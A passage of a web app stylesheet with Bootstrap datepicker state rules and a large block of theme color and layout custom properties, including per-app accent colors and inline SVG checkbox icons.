.datepicker table tr td.active:hover:hover,
.datepicker table tr td.active.disabled:hover,
.datepicker table tr td.active.disabled:hover:hover {
  color:#fff;
  background-color:#286090;
  border-color:#204d74
}
.datepicker table tr td.active:active,
.datepicker table tr td.active:hover:active,
.datepicker table tr td.active.disabled:active,
.datepicker table tr td.active.disabled:hover:active,
.datepicker table tr td.active.active,
.datepicker table tr td.active:hover.active,
.datepicker table tr td.active.disabled.active,
.datepicker table tr td.active.disabled:hover.active,
.open>.dropdown-toggle.datepicker table tr td.active,
.open>.dropdown-toggle.datepicker table tr td.active:hover,
.open>.dropdown-toggle.datepicker table tr td.active.disabled,
.open>.dropdown-toggle.datepicker table tr td.active.disabled:hover {
  color:#fff;
  background-color:#286090;
  background-image:none;
  border-color:#204d74
}
.datepicker table tr td.active:active:hover,
.datepicker table tr td.active:hover:active:hover,
.datepicker table tr td.active.disabled:active:hover,
.datepicker table tr td.active.disabled:hover:active:hover,
.datepicker table tr td.active.active:hover,
.datepicker table tr td.active:hover.active:hover,
.datepicker table tr td.active.disabled.active:hover,
.datepicker table tr td.active.disabled:hover.active:hover,
.open>.dropdown-toggle.datepicker table tr td.active:hover,
.open>.dropdown-toggle.datepicker table tr td.active:hover:hover,
.open>.dropdown-toggle.datepicker table tr td.active.disabled:hover,
.open>.dropdown-toggle.datepicker table tr td.active.disabled:hover:hover,
.datepicker table tr td.active:active:focus,
.datepicker table tr td.active:hover:active:focus,
.datepicker table tr td.active.disabled:active:focus,
.datepicker table tr td.active.disabled:hover:active:focus,
.datepicker table tr td.active.active:focus,
.datepicker table tr td.active:hover.active:focus,
.datepicker table tr td.active.disabled.active:focus,
.datepicker table tr td.active.disabled:hover.active:focus,
.open>.dropdown-toggle.datepicker table tr td.active:focus,
.open>.dropdown-toggle.datepicker table tr td.active:hover:focus,
.open>.dropdown-toggle.datepicker table tr td.active.disabled:focus,
.open>.dropdown-toggle.datepicker table tr td.active.disabled:hover:focus,
.datepicker table tr td.active:active.focus,
.datepicker table tr td.active:hover:active.focus,
.datepicker table tr td.active.disabled:active.focus,
.datepicker table tr td.active.disabled:hover:active.focus,
.datepicker table tr td.active.active.focus,
.datepicker table tr td.active:hover.active.focus,
.datepicker table tr td.active.disabled.active.focus,
.datepicker table tr td.active.disabled:hover.active.focus,
.open>.dropdown-toggle.datepicker table tr td.active.focus,
.open>.dropdown-toggle.datepicker table tr td.active:hover.focus,
.open>.dropdown-toggle.datepicker table tr td.active.disabled.focus,
.open>.dropdown-toggle.datepicker table tr td.active.disabled:hover.focus {
  color:#fff;
  background-color:#204d74;
  border-color:#122b40
}
.datepicker table tr td.active.disabled:hover,
.datepicker table tr td.active:hover.disabled:hover,
.datepicker table tr td.active.disabled.disabled:hover,
.datepicker table tr td.active.disabled:hover.disabled:hover,
.datepicker table tr td.active[disabled]:hover,
.datepicker table tr td.active:hover[disabled]:hover,
.datepicker table tr td.active.disabled[disabled]:hover,
.datepicker table tr td.active.disabled:hover[disabled]:hover,
fieldset[disabled] .datepicker table tr td.active:hover,
fieldset[disabled] .datepicker table tr td.active:hover:hover,
fieldset[disabled] .datepicker table tr td.active.disabled:hover,
fieldset[disabled] .datepicker table tr td.active.disabled:hover:hover,
.datepicker table tr td.active.disabled:focus,
.datepicker table tr td.active:hover.disabled:focus,
.datepicker table tr td.active.disabled.disabled:focus,
.datepicker table tr td.active.disabled:hover.disabled:focus,
.datepicker table tr td.active[disabled]:focus,
.datepicker table tr td.active:hover[disabled]:focus,
.datepicker table tr td.active.disabled[disabled]:focus,
.datepicker table tr td.active.disabled:hover[disabled]:focus,
fieldset[disabled] .datepicker table tr td.active:focus,
fieldset[disabled] .datepicker table tr td.active:hover:focus,
fieldset[disabled] .datepicker table tr td.active.disabled:focus,
fieldset[disabled] .datepicker table tr td.active.disabled:hover:focus,
.datepicker table tr td.active.disabled.focus,
.datepicker table tr td.active:hover.disabled.focus,
.datepicker table tr td.active.disabled.disabled.focus,
.datepicker table tr td.active.disabled:hover.disabled.focus,
.datepicker table tr td.active[disabled].focus,
.datepicker table tr td.active:hover[disabled].focus,
.datepicker table tr td.active.disabled[disabled].focus,
.datepicker table tr td.active.disabled:hover[disabled].focus,
fieldset[disabled] .datepicker table tr td.active.focus,
fieldset[disabled] .datepicker table tr td.active:hover.focus,
fieldset[disabled] .datepicker table tr td.active.disabled.focus,
fieldset[disabled] .datepicker table tr td.active.disabled:hover.focus {
  background-color:#337ab7;
  border-color:#2e6da4
}
.datepicker table tr td.active .badge,
.datepicker table tr td.active:hover .badge,
.datepicker table tr td.active.disabled .badge,
.datepicker table tr td.active.disabled:hover .badge {
  color:#337ab7;
  background-color:#fff
}
.datepicker table tr td span.disabled,
.datepicker table tr td span.disabled:hover {
  background:none;
  color:#777;
  cursor:default
}
.datepicker table tr td span.active,
.datepicker table tr td span.active:hover,
.datepicker table tr td span.active.disabled,
.datepicker table tr td span.active.disabled:hover {
  color:#fff;
  background-color:#337ab7;
  border-color:#2e6da4;
  text-shadow:0 -1px 0 rgba(0,0,0,.25)
}
.datepicker table tr td span.active:focus,
.datepicker table tr td span.active:hover:focus,
.datepicker table tr td span.active.disabled:focus,
.datepicker table tr td span.active.disabled:hover:focus,
.datepicker table tr td span.active.focus,
.datepicker table tr td span.active:hover.focus,
.datepicker table tr td span.active.disabled.focus,
.datepicker table tr td span.active.disabled:hover.focus {
  color:#fff;
  background-color:#286090;
  border-color:#122b40
}
.datepicker table tr td span.active:hover,
.datepicker table tr td span.active:hover:hover,
.datepicker table tr td span.active.disabled:hover,
.datepicker table tr td span.active.disabled:hover:hover {
  color:#fff;
  background-color:#286090;
  border-color:#204d74
}
.datepicker table tr td span.active:active,
.datepicker table tr td span.active:hover:active,
.datepicker table tr td span.active.disabled:active,
.datepicker table tr td span.active.disabled:hover:active,
.datepicker table tr td span.active.active,
.datepicker table tr td span.active:hover.active,
.datepicker table tr td span.active.disabled.active,
.datepicker table tr td span.active.disabled:hover.active,
.open>.dropdown-toggle.datepicker table tr td span.active,
.open>.dropdown-toggle.datepicker table tr td span.active:hover,
.open>.dropdown-toggle.datepicker table tr td span.active.disabled,
.open>.dropdown-toggle.datepicker table tr td span.active.disabled:hover {
  color:#fff;
  background-color:#286090;
  background-image:none;
  border-color:#204d74
}
.datepicker table tr td span.active:active:hover,
.datepicker table tr td span.active:hover:active:hover,
.datepicker table tr td span.active.disabled:active:hover,
.datepicker table tr td span.active.disabled:hover:active:hover,
.datepicker table tr td span.active.active:hover,
.datepicker table tr td span.active:hover.active:hover,
.datepicker table tr td span.active.disabled.active:hover,
.datepicker table tr td span.active.disabled:hover.active:hover,
.open>.dropdown-toggle.datepicker table tr td span.active:hover,
.open>.dropdown-toggle.datepicker table tr td span.active:hover:hover,
.open>.dropdown-toggle.datepicker table tr td span.active.disabled:hover,
.open>.dropdown-toggle.datepicker table tr td span.active.disabled:hover:hover,
.datepicker table tr td span.active:active:focus,
.datepicker table tr td span.active:hover:active:focus,
.datepicker table tr td span.active.disabled:active:focus,
.datepicker table tr td span.active.disabled:hover:active:focus,
.datepicker table tr td span.active.active:focus,
.datepicker table tr td span.active:hover.active:focus,
.datepicker table tr td span.active.disabled.active:focus,
.datepicker table tr td span.active.disabled:hover.active:focus,
.open>.dropdown-toggle.datepicker table tr td span.active:focus,
.open>.dropdown-toggle.datepicker table tr td span.active:hover:focus,
.open>.dropdown-toggle.datepicker table tr td span.active.disabled:focus,
.open>.dropdown-toggle.datepicker table tr td span.active.disabled:hover:focus,
.datepicker table tr td span.active:active.focus,
.datepicker table tr td span.active:hover:active.focus,
.datepicker table tr td span.active.disabled:active.focus,
.datepicker table tr td span.active.disabled:hover:active.focus,
.datepicker table tr td span.active.active.focus,
.datepicker table tr td span.active:hover.active.focus,
.datepicker table tr td span.active.disabled.active.focus,
.datepicker table tr td span.active.disabled:hover.active.focus,
.open>.dropdown-toggle.datepicker table tr td span.active.focus,
.open>.dropdown-toggle.datepicker table tr td span.active:hover.focus,
.open>.dropdown-toggle.datepicker table tr td span.active.disabled.focus,
.open>.dropdown-toggle.datepicker table tr td span.active.disabled:hover.focus {
  color:#fff;
  background-color:#204d74;
  border-color:#122b40
}
.datepicker table tr td span.active.disabled:hover,
.datepicker table tr td span.active:hover.disabled:hover,
.datepicker table tr td span.active.disabled.disabled:hover,
.datepicker table tr td span.active.disabled:hover.disabled:hover,
.datepicker table tr td span.active[disabled]:hover,
.datepicker table tr td span.active:hover[disabled]:hover,
.datepicker table tr td span.active.disabled[disabled]:hover,
.datepicker table tr td span.active.disabled:hover[disabled]:hover,
fieldset[disabled] .datepicker table tr td span.active:hover,
fieldset[disabled] .datepicker table tr td span.active:hover:hover,
fieldset[disabled] .datepicker table tr td span.active.disabled:hover,
fieldset[disabled] .datepicker table tr td span.active.disabled:hover:hover,
.datepicker table tr td span.active.disabled:focus,
.datepicker table tr td span.active:hover.disabled:focus,
.datepicker table tr td span.active.disabled.disabled:focus,
.datepicker table tr td span.active.disabled:hover.disabled:focus,
.datepicker table tr td span.active[disabled]:focus,
.datepicker table tr td span.active:hover[disabled]:focus,
.datepicker table tr td span.active.disabled[disabled]:focus,
.datepicker table tr td span.active.disabled:hover[disabled]:focus,
fieldset[disabled] .datepicker table tr td span.active:focus,
fieldset[disabled] .datepicker table tr td span.active:hover:focus,
fieldset[disabled] .datepicker table tr td span.active.disabled:focus,
fieldset[disabled] .datepicker table tr td span.active.disabled:hover:focus,
.datepicker table tr td span.active.disabled.focus,
.datepicker table tr td span.active:hover.disabled.focus,
.datepicker table tr td span.active.disabled.disabled.focus,
.datepicker table tr td span.active.disabled:hover.disabled.focus,
.datepicker table tr td span.active[disabled].focus,
.datepicker table tr td span.active:hover[disabled].focus,
.datepicker table tr td span.active.disabled[disabled].focus,
.datepicker table tr td span.active.disabled:hover[disabled].focus,
fieldset[disabled] .datepicker table tr td span.active.focus,
fieldset[disabled] .datepicker table tr td span.active:hover.focus,
fieldset[disabled] .datepicker table tr td span.active.disabled.focus,
fieldset[disabled] .datepicker table tr td span.active.disabled:hover.focus {
  background-color:#337ab7;
  border-color:#2e6da4
}
.datepicker table tr td span.active .badge,
.datepicker table tr td span.active:hover .badge,
.datepicker table tr td span.active.disabled .badge,
.datepicker table tr td span.active.disabled:hover .badge {
  color:#337ab7;
  background-color:#fff
}
.datepicker table tr td span.old,
.datepicker table tr td span.new {
  color:#777
}
.input-daterange .input-group-addon {
  width:auto;
  min-width:16px;
  padding:4px 5px;
  font-weight:400;
  line-height:1.42857143;
  text-align:center;
  text-shadow:0 1px 0 #fff;
  vertical-align:middle;
  background-color:#eee;
  border:solid #ccc;
  border-width:1px 0;
  margin-left:-5px;
  margin-right:-5px
}
:root {
  --indigo-base: 226, 48%;
  --indigo-20: hsl(var(--indigo-base), 95%);
  --indigo-50: hsl(var(--indigo-base), 92%);
  --indigo-100: hsl(var(--indigo-base), 90%);
  --indigo-200: hsl(var(--indigo-base), 80%);
  --indigo-300: hsl(var(--indigo-base), 70%);
  --indigo-400: hsl(var(--indigo-base), 60%);
  --indigo-500: hsl(var(--indigo-base), 48%);
  --indigo-600: hsl(var(--indigo-base), 40%);
  --indigo-700: hsl(var(--indigo-base), 30%);
  --indigo-800: hsl(var(--indigo-base), 20%);
  --indigo-900: hsl(var(--indigo-base), 10%);
  --gray-base: 40, 10%;
  --gray-5: hsl(var(--gray-base), 95%);
  --gray-10: hsl(var(--gray-base), 93%);
  --gray-50: hsl(var(--gray-base), 92%);
  --gray-100: hsl(var(--gray-base), 90%);
  --gray-150: hsl(var(--gray-base), 85%);
  --gray-200: hsl(var(--gray-base), 80%);
  --gray-300: hsl(var(--gray-base), 70%);
  --gray-400: hsl(var(--gray-base), 60%);
  --gray-500: hsl(var(--gray-base), 48%);
  --gray-600: hsl(var(--gray-base), 40%);
  --gray-700: hsl(var(--gray-base), 30%);
  --gray-800: hsl(var(--gray-base), 20%);
  --gray-900: hsl(var(--gray-base), 10%);
  --green-base: 110, 50%;
  --green-20: hsl(var(--green-base), 95%);
  --green-50: hsl(var(--green-base), 92%);
  --green-100: hsl(var(--green-base), 90%);
  --green-200: hsl(var(--green-base), 80%);
  --green-300: hsl(var(--green-base), 70%);
  --green-400: hsl(var(--green-base), 60%);
  --green-500: hsl(var(--green-base), 50%);
  --green-600: hsl(var(--green-base), 40%);
  --green-700: hsl(var(--green-base), 30%);
  --green-800: hsl(var(--green-base), 20%);
  --green-900: hsl(var(--green-base), 10%);
  --yellow-base: 36, 100%;
  --yellow-20: hsl(var(--yellow-base), 95%);
  --yellow-50: hsl(var(--yellow-base), 92%);
  --yellow-100: hsl(var(--yellow-base), 90%);
  --yellow-200: hsl(var(--yellow-base), 80%);
  --yellow-300: hsl(var(--yellow-base), 70%);
  --yellow-400: hsl(var(--yellow-base), 60%);
  --yellow-500: hsl(var(--yellow-base), 50%);
  --yellow-600: hsl(var(--yellow-base), 40%);
  --yellow-700: hsl(var(--yellow-base), 30%);
  --yellow-800: hsl(var(--yellow-base), 20%);
  --yellow-900: hsl(var(--yellow-base), 10%);
  --red-base: 0, 60%;
  --red-20: hsl(var(--red-base), 95%);
  --red-50: hsl(var(--red-base), 92%);
  --red-100: hsl(var(--red-base), 90%);
  --red-200: hsl(var(--red-base), 80%);
  --red-300: hsl(var(--red-base), 70%);
  --red-400: hsl(var(--red-base), 60%);
  --red-500: hsl(var(--red-base), 50%);
  --red-600: hsl(var(--red-base), 40%);
  --red-700: hsl(var(--red-base), 30%);
  --red-800: hsl(var(--red-base), 20%);
  --red-900: hsl(var(--red-base), 10%);
  --accent-base: var(--indigo-base);
  --accent: var(--accent-500);
  --accent-luminance-shift: 0%;
  --accent-10: hsl(var(--accent-base), calc(97% - var(--accent-luminance-shift) * .01));
  --accent-20: hsl(var(--accent-base), calc(95% - var(--accent-luminance-shift) * .05));
  --accent-50: hsl(var(--accent-base), calc(92% - var(--accent-luminance-shift) * .1));
  --accent-100: hsl(var(--accent-base), calc(90% - var(--accent-luminance-shift) * .2));
  --accent-200: hsl(var(--accent-base), calc(80% - var(--accent-luminance-shift) * .3));
  --accent-300: hsl(var(--accent-base), calc(70% - var(--accent-luminance-shift) * .4));
  --accent-400: hsl(var(--accent-base), calc(60% - var(--accent-luminance-shift) * .5));
  --accent-500: hsl(var(--accent-base), calc(48% - var(--accent-luminance-shift) * 1));
  --accent-600: hsl(var(--accent-base), calc(40% - var(--accent-luminance-shift) * 1));
  --accent-700: hsl(var(--accent-base), calc(30% - var(--accent-luminance-shift) * 1));
  --accent-800: hsl(var(--accent-base), calc(20% - var(--accent-luminance-shift) * 1));
  --accent-900: hsl(var(--accent-base), calc(10% - var(--accent-luminance-shift) * 1));
  --accent-a10: hsla(var(--accent-base), calc(48% - var(--accent-luminance-shift) * 1), 10%);
  --accent-a5: hsla(var(--accent-base), calc(48% - var(--accent-luminance-shift) * 1), 5%);
  --text: #212529;
  --text-accent: var(--accent-700);
  --text-gray: var(--gray-600);
  --text-gray-on-gray: var(--gray-700);
  --text-disabled: var(--gray-300);
  --text-gray-hover: var(--gray-400);
  --text-dark: #000;
  --toolbar: var(--text-gray-on-gray);
  --link: var(--accent-600);
  --link-hover: var(--accent-700);
  --outline: var(--accent);
  --add: var(--green-500);
  --delete: #a00;
  --background: white;
  --background-5: var(--gray-5);
  --background-10: var(--gray-10);
  --background-50: var(--gray-50);
  --background-100: var(--gray-100);
  --background-150: var(--gray-150);
  --background-200: var(--gray-200);
  --background-300: var(--gray-300);
  --background-base: 0, 100%, 100%;
  --background-a94: hsla(var(--background-base), 94%);
  --background-a80: hsla(var(--background-base), 80%);
  --background-a50: hsla(var(--background-base), 50%);
  --background-a30: hsla(var(--background-base), 30%);
  --shade-base: 0, 0%, 0%;
  --shade-a5: hsla(var(--shade-base), 5%);
  --shade-a10: hsla(var(--shade-base), 10%);
  --shade-a20: hsla(var(--shade-base), 20%);
  --shade-a30: hsla(var(--shade-base), 30%);
  --shade-a50: hsla(var(--shade-base), 50%);
  --border: var(--gray-200);
  --border-bright: var(--gray-100);
  --border-subdued: var(--gray-100);
  --border-bootstrap: #ced4da;
  --focus: white;
  --focus-100: var(--accent-100);
  --focus-200: var(--accent-200);
  --focus-300: var(--accent-300);
  --focus-400: var(--accent-400);
  --focus-500: var(--accent-500);
  --focus-600: var(--accent-600);
  --focus-700: var(--accent-700);
  --default-radius: 6px;
  --double-radius: 12px;
  --gap-radius: var(--default-radius);
  --main-gap-radius: var(--default-radius);
  --button-radius: var(--default-radius);
  --input-radius: var(--default-radius);
  --btn-primary: #fff;
  --btn-primary-background: var(--accent-500);
  --btn-primary-background-hover: var(--accent-600);
  --btn-primary-outline: hsla(var(--accent-base), 50%, 25%);
  --btn-current: var(--accent-20) --btn-secondary: #fff;
  --btn-secondary-background: var(--selected-background);
  --btn-secondary-background-hover: var(--selected-background-hover);
  --btn-secondary-outline: hsla(var(--accent-base), 50%, 25%);
  --button-circular: var(--accent-600);
  --button-circular-background: var(--accent-20);
  --button-circular-border: var(--accent-400);
  --button-circular-focus: white;
  --button-circular-background-focus: var(--accent);
  --button-circular-border-focus: var(--accent);
  --button-circular-hover: var(--accent);
  --button-circular-background-hover: var(--accent-100);
  --button-circular-border-hover: var(--accent);
  --topbar-background: transparent;
  --topbar-icon: var(--accent-900);
  --topbar-hover: var(--shade-a10);
  --topbar-icon-hover: var(--background-5);
  --topbar-search-background: white;
  --topbar-search-placeholder: var(--text-gray);
  --selected: var(--text);
  --selected-focus: white;
  --selected-gray-focus: #ffffffc0;
  --selected-background: var(--accent-50);
  --selected-background-hover: var(--accent-a5);
  --selected-background-shade: var(--accent-500);
  --selected-background-focus: var(--accent);
  --selected-background-focus-shade: var(--accent-700);
  --selected-background-focus-hover: var(--accent-600);
  --selected-dropdown-background-hover: var(--background-5);
  --sidepanel-background: var(--translucent-constant);
  --sidepanel-selected: var(--text);
  --sidepanel-selected-focus: white;
  --sidepanel-selectable-background-hover: var(--accent-a5);
  --sidepanel-selected-background: var(--accent-50);
  --sidepanel-selected-background-hover: var(--accent-a5);
  --sidepanel-selected-background-focus: var(--accent);
  --sidepanel-selected-background-focus-shade: var(--accent-600);
  --folder-view-background: #ffffff20;
  --list-view-background: #ffffff20;
  --detail-view-background: #ffffff20;
  --folder-icon: var(--accent);
  --folder-counter: var(--accent);
  --folder-options-focus: var(--accent);
  --avatar: var(--accent-700);
  --avatar-background: var(--accent-20);
  --login-gradient-start: var(--indigo-300);
  --login-gradient-end: var(--indigo-600);
  --status-green: #558b2f;
  --status-yellow: #ff9800;
  --status-red: #cf3239;
  --presence-online: var(--status-green);
  --presence-absent: var(--status-yellow);
  --presence-busy: var(--status-red);
  --unseen: var(--accent);
  --today: var(--status-red);
  --missed: var(--status-red);
  --attention: #db2c00;
  --favorite: var(--status-yellow);
  --upsell: var(--status-yellow);
  --encrypted: var(--status-green);
  --low: #08c;
  --legacy-blue: #283f73;
  --gap: 8px;
  --main-gap: var(--gap);
  --inner-gap: 16px;
  --illustration-opacity: .6;
  --translucency-factor: .25;
  --backdrop-blur-factor: 2;
  --tooltip-text: var(--gray-10);
  --tooltip-background: var(--gray-900);
  --translucent-high: linear-gradient(0deg, rgba(255, 255, 255, calc(1 - var(--translucency-factor) * 3)), var(--background));
  --translucent-medium: linear-gradient(0deg, rgba(255, 255, 255, calc(1 - var(--translucency-factor) * 2)), var(--background));
  --translucent-low: linear-gradient(0deg, rgba(255, 255, 255, calc(1 - var(--translucency-factor) * 1)), var(--background));
  --translucent-constant: rgba(255, 255, 255, calc(1 - var(--translucency-factor) * 1));
  --translucent-start: var(--background);
  --checkbox-border: var(--gray-500);
  --checkbox-color: white;
  --checkbox-background: var(--accent);
  --checkbox-svg: var(--checkbox-svg-white);
  --checkbox-svg-inverted: var(--checkbox-svg-dark);
  --checkbox-svg-dark: center no-repeat url("data:image/svg+xml,%3csvg xmlns='http://www.w3.org/2000/svg' viewBox='0 0 20 20'%3e%3cpath fill='none' stroke='%23333' stroke-linecap='round' stroke-linejoin='round' stroke-width='3' d='M6 10l3 3l6-6'/%3e%3c/svg%3e");
  --checkbox-svg-white: center no-repeat url("data:image/svg+xml,%3csvg xmlns='http://www.w3.org/2000/svg' viewBox='0 0 20 20'%3e%3cpath fill='none' stroke='%23fff' stroke-linecap='round' stroke-linejoin='round' stroke-width='3' d='M6 10l3 3l6-6'/%3e%3c/svg%3e");
  --radio-svg: center no-repeat url("data:image/svg+xml,%3csvg xmlns='http://www.w3.org/2000/svg' viewBox='-4 -4 8 8'%3e%3ccircle r='2' fill='white'/%3e%3c/svg%3e");
  --radio-svg-dark: center no-repeat url("data:image/svg+xml,%3csvg xmlns='http://www.w3.org/2000/svg' viewBox='-4 -4 8 8'%3e%3ccircle r='2' fill='%23333'/%3e%3c/svg%3e");
  --app-color-mail: hsl(210, 96%, 43%);
  --app-color-calendar: hsl(360, 67%, 45%);
  --app-color-contacts: hsl(30, 98%, 45%);
  --app-color-tasks: hsl(123, 42%, 45%);
  --app-color-files: hsl(165, 96%, 30%);
  --app-color-portal: hsl(189, 100%, 40%);
  --app-color-text: hsl(215, 59%, 41%);
  --app-color-spreadsheet: hsl(143, 57%, 27%);
  --app-color-presentation: hsl(6, 70%, 39%);
  --app-color-default: #3F52B5;
  --app-color-fallback: hsl(0, 0%, 33%);
  --skeleton-background: #DDDBDD;
  --safe-area-inset-top: env(safe-area-inset-top);
  --safe-area-inset-right: env(safe-area-inset-right);
  --safe-area-inset-bottom: env(safe-area-inset-bottom);
  --safe-area-inset-left: env(safe-area-inset-left);
  --navbar-button-background: #fff;
  --offset-top: var(--safe-area-inset-top);
  --offset-bottom: var(--safe-area-inset-bottom);
  --offset-right: var(--safe-area-inset-right);
  --category-browser-width: 300px
}
@media (min-width: 1100px) {
  :root {
    --category-browser-width: 320px
  }
}
@media (min-width: 1200px) {
  :root {
    --category-browser-width: 350px
  }
}
@media (min-width: 1500px) {
  :root {
    --category-browser-width: 400px
  }
}
/*!
* Datepicker for Bootstrap
*
* Copyright 2012 Stefan Petre
* Improvements by Andrew Rowls
* Licensed under the Apache License v2.0
* http://www.apache.org/licenses/LICENSE-2.0
*
*/.datepicker {
  padding:4px;
  border-radius:4px;
  direction:ltr
}
.datepicker-inline {
  width:220px
}
.datepicker.datepicker-rtl {
  direction:rtl
}
.datepicker.datepicker-rtl table tr td span {
  float:right
}
.datepicker-dropdown {
  top:0;
  left:0
}
.datepicker-dropdown:before {
  content:"";
  display:inline-block;
  border-left:7px solid transparent;
  border-right:7px solid transparent;
  border-bottom:7px solid #ccc;
  border-top:0;
  border-bottom-color:#0003;
  position:absolute
}
.datepicker-dropdown:after {
  content:"";
  display:inline-block;
  border-left:6px solid transparent;
  border-right:6px solid transparent;
  border-bottom:6px solid #fff;
  border-top:0;
  position:absolute
}
.datepicker-dropdown.datepicker-orient-left:before {
  left:6px
}
.datepicker-dropdown.datepicker-orient-left:after {
  left:7px
}
.datepicker-dropdown.datepicker-orient-right:before {
  right:6px
}
.datepicker-dropdown.datepicker-orient-right:after {
  right:7px
}
.datepicker-dropdown.datepicker-orient-top:before {
  top:-7px
}
.datepicker-dropdown.datepicker-orient-top:after {
  top:-6px
}
.datepicker-dropdown.datepicker-orient-bottom:before {
  bottom:-7px;
  border-bottom:0;
  border-top:7px solid #999
}
.datepicker-dropdown.datepicker-orient-bottom:after {
  bottom:-6px;
  border-bottom:0;
  border-top:6px solid #fff
}
.datepicker>div {
  display:none
}
.datepicker.days div.datepicker-days,
.datepicker.months div.datepicker-months,
.datepicker.years div.datepicker-years {
  display:block
}
.datepicker table {
  margin:0;
  -webkit-touch-callout:none;
  -webkit-user-select:none;
  -khtml-user-select:none;
  -moz-user-select:none;
  -ms-user-select:none;
  user-select:none
}
.datepicker table tr td,
.datepicker table tr th {
  text-align:center;
  width:30px;
  height:30px;
  border-radius:4px;
  border:none
}
.table-striped .datepicker table tr td,
.table-striped .datepicker table tr th {
  background-color:transparent
}
.datepicker table tr td.day:hover,
.datepicker table tr td.day.focused {
  background:#eee;
  cursor:pointer
}
.datepicker table tr td.old,
.datepicker table tr td.new {
  color:#999
}
.datepicker table tr td.disabled,
.datepicker table tr td.disabled:hover {
  background:none;
  color:#999;
  cursor:default
}
.datepicker table tr td.today,
.datepicker table tr td.today:hover,
.datepicker table tr td.today.disabled,
.datepicker table tr td.today.disabled:hover {
  color:#000;
  background-color:#ffdb99;
  border-color:#ffb733
}
.datepicker table tr td.today:hover,
.datepicker table tr td.today:hover:hover,
.datepicker table tr td.today.disabled:hover,
.datepicker table tr td.today.disabled:hover:hover,
.datepicker table tr td.today:focus,
.datepicker table tr td.today:hover:focus,
.datepicker table tr td.today.disabled:focus,
.datepicker table tr td.today.disabled:hover:focus,
.datepicker table tr td.today:active,
.datepicker table tr td.today:hover:active,
.datepicker table tr td.today.disabled:active,
.datepicker table tr td.today.disabled:hover:active,
.datepicker table tr td.today.active,
.datepicker table tr td.today:hover.active,
.datepicker table tr td.today.disabled.active,
.datepicker table tr td.today.disabled:hover.active,
.open .dropdown-toggle.datepicker table tr td.today,
.open .dropdown-toggle.datepicker table tr td.today:hover,
.open .dropdown-toggle.datepicker table tr td.today.disabled,
.open .dropdown-toggle.datepicker table tr td.today.disabled:hover {
  color:#000;
  background-color:#ffcd70;
  border-color:#f59e00
}
.datepicker table tr td.today:active,
.datepicker table tr td.today:hover:active,
.datepicker table tr td.today.disabled:active,
.datepicker table tr td.today.disabled:hover:active,
.datepicker table tr td.today.active,
.datepicker table tr td.today:hover.active,
.datepicker table tr td.today.disabled.active,
.datepicker table tr td.today.disabled:hover.active,
.open .dropdown-toggle.datepicker table tr td.today,
.open .dropdown-toggle.datepicker table tr td.today:hover,
.open .dropdown-toggle.datepicker table tr td.today.disabled,
.open .dropdown-toggle.datepicker table tr td.today.disabled:hover {
  background-image:none
}
.datepicker table tr td.today.disabled,
.datepicker table tr td.today:hover.disabled,
.datepicker table tr td.today.disabled.disabled,
.datepicker table tr td.today.disabled:hover.disabled,
.datepicker table tr td.today[disabled],
.datepicker table tr td.today:hover[disabled],
.datepicker table tr td.today.disabled[disabled],
.datepicker table tr td.today.disabled:hover[disabled],
fieldset[disabled] .datepicker table tr td.today,
fieldset[disabled] .datepicker table tr td.today:hover,
fieldset[disabled] .datepicker table tr td.today.disabled,
fieldset[disabled] .datepicker table tr td.today.disabled:hover,
.datepicker table tr td.today.disabled:hover,
.datepicker table tr td.today:hover.disabled:hover,
.datepicker table tr td.today.disabled.disabled:hover,
.datepicker table tr td.today.disabled:hover.disabled:hover,
.datepicker table tr td.today[disabled]:hover,
.datepicker table tr td.today:hover[disabled]:hover,
.datepicker table tr td.today.disabled[disabled]:hover,
.datepicker table tr td.today.disabled:hover[disabled]:hover,
fieldset[disabled] .datepicker table tr td.today:hover:hover,
fieldset[disabled] .datepicker table tr td.today.disabled:hover:hover,
.datepicker table tr td.today.disabled:focus,
.datepicker table tr td.today:hover.disabled:focus,
.datepicker table tr td.today.disabled.disabled:focus,
.datepicker table tr td.today.disabled:hover.disabled:focus,
.datepicker table tr td.today[disabled]:focus,
.datepicker table tr td.today:hover[disabled]:focus,
.datepicker table tr td.today.disabled[disabled]:focus,
.datepicker table tr td.today.disabled:hover[disabled]:focus,
fieldset[disabled] .datepicker table tr td.today:focus,
fieldset[disabled] .datepicker table tr td.today:hover:focus,
fieldset[disabled] .datepicker table tr td.today.disabled:focus,
fieldset[disabled] .datepicker table tr td.today.disabled:hover:focus,
.datepicker table tr td.today.disabled:active,
.datepicker table tr td.today:hover.disabled:active,
.datepicker table tr td.today.disabled.disabled:active,
.datepicker table tr td.today.disabled:hover.disabled:active,
.datepicker table tr td.today[disabled]:active,
.datepicker table tr td.today:hover[disabled]:active,
.datepicker table tr td.today.disabled[disabled]:active,
.datepicker table tr td.today.disabled:hover[disabled]:active,
fieldset[disabled] .datepicker table tr td.today:active,
fieldset[disabled] .datepicker table tr td.today:hover:active,
fieldset[disabled] .datepicker table tr td.today.disabled:active,
fieldset[disabled] .datepicker table tr td.today.disabled:hover:active,
.datepicker table tr td.today.disabled.active,
.datepicker table tr td.today:hover.disabled.active,
.datepicker table tr td.today.disabled.disabled.active,
.datepicker table tr td.today.disabled:hover.disabled.active,
.datepicker table tr td.today[disabled].active,
.datepicker table tr td.today:hover[disabled].active,
.datepicker table tr td.today.disabled[disabled].active,
.datepicker table tr td.today.disabled:hover[disabled].active,
fieldset[disabled] .datepicker table tr td.today.active,
fieldset[disabled] .datepicker table tr td.today:hover.active,
fieldset[disabled] .datepicker table tr td.today.disabled.active,
fieldset[disabled] .datepicker table tr td.today.disabled:hover.active {
  background-color:#ffdb99;
  border-color:#ffb733
}
.datepicker table tr td.today:hover:hover {
  color:#000
}
.datepicker table tr td.today.active:hover {
  color:#fff
}
.datepicker table tr td.range,
.datepicker table tr td.range:hover,
.datepicker table tr td.range.disabled,
.datepicker table tr td.range.disabled:hover {
  background:#eee;
  border-radius:0
}
.datepicker table tr td.range.today,
.datepicker table tr td.range.today:hover,
.datepicker table tr td.range.today.disabled,
.datepicker table tr td.range.today.disabled:hover {
  color:#000;
  background-color:#f7ca77;
  border-color:#f1a417;
  border-radius:0
}
.datepicker table tr td.range.today:hover,
.datepicker table tr td.range.today:hover:hover,
.datepicker table tr td.range.today.disabled:hover,
.datepicker table tr td.range.today.disabled:hover:hover,
.datepicker table tr td.range.today:focus,
.datepicker table tr td.range.today:hover:focus,
.datepicker table tr td.range.today.disabled:focus,
.datepicker table tr td.range.today.disabled:hover:focus,
.datepicker table tr td.range.today:active,
.datepicker table tr td.range.today:hover:active,
.datepicker table tr td.range.today.disabled:active,
.datepicker table tr td.range.today.disabled:hover:active,
.datepicker table tr td.range.today.active,
